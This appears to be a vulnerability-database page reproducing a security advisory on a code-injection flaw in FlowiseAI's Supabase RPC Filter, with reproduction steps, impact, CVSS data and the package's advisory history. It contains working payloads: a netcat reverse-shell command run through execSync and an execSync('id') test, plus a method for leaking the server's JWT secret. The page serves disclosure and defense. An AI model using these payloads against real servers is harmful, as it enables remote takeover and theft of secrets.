Critical

FlowiseAI Pre-Auth Arbitrary Code Execution

  • Disclosed: 15.09.2025
  • Updated: 11.10.2026 10:22

Summary

An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.

This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.

Details

FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237

<img width="622" height="177" alt="image(3)" src="https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b" />

This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.

Exploit

We configured our environment to use Supabase entities as follows:

<img width="573" height="765" alt="image(4)" src="https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf" />

To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:

<img width="1920" height="915" alt="image(5)" src="https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947" />

image-1 image-2

This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.

Subsequently, a reverse shell was successfully established using:

filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)

<img width="425" height="475" alt="image(6)" src="https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4" />

This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.

Steps to Reproduce

  1. Deploy a FlowiseAI instance with the Supabase vector store enabled.

  2. Login as an admin user.

  3. Drag in a Supabase node and configure "Supabase RPC Filter".

  4. Insert a malicious payload in the filter expression, such as:

    process.mainModule.require("child_process").execSync("id")

  5. Trigger the chatbot or workflow to activate the node.

  6. Observe execution of arbitrary code on the backend.

Impact

  • Remote Code Execution (RCE): Full OS-level code execution from frontend user input.
  • Environment Leakage: Access to sensitive env variables like JWT_REFRESH_TOKEN_SECRET.
  • Reverse Shells: Ability to connect out of the server and gain interactive remote shell access.
  • Persistence Risk: Attacker can install malware, establish persistence, or exfiltrate data.
  • LLM Prompt Tampering: Malicious outputs may be injected back into LLM chains.

Trust Boundary Violation

The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.

This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.

Evidence

Environment variable leakage via malformed JSON

Reverse shell successfully triggered using attacker-controlled input

Credit

This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package flowise >= 3.0.5, < 3.0.6 3.0.6

References

CVSS score 9.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-94
Platform
npm
Package
flowise
Disclosed
15.09.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-7944-7c6r-55vv - CC BY 4.0

Vulnerability history: flowise

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (114) in the archive
Total entries
114
First → latest
04.2024 10.2026
Without a fix
16
Exploited in attacks
0

Severity breakdown

  • Critical 28
  • High 62
  • Medium 24

Disclosures per year

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Severity:
  1. FlowiseAI Pre-Auth Arbitrary Code Execution this entry
    Critical · 9.1 CVE-2025-57164 >= 3.0.5, < 3.0.6 3.0.6
  2. Critical CVE-2026-69259 < 3.1.3 3.1.3
  3. Critical CVE-2026-69256 < 3.1.3 3.1.3
  4. Critical CVE-2026-69253 < 3.1.3 3.1.3
  5. Critical CVE-2026-69251 < 3.1.3 3.1.3
  6. High · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  7. High CVE-2026-46443 < 3.1.2 3.1.2
  8. High CVE-2026-56274 < 3.1.2 3.1.2
  9. High · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
Show more (20) Showing 41 of 90

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.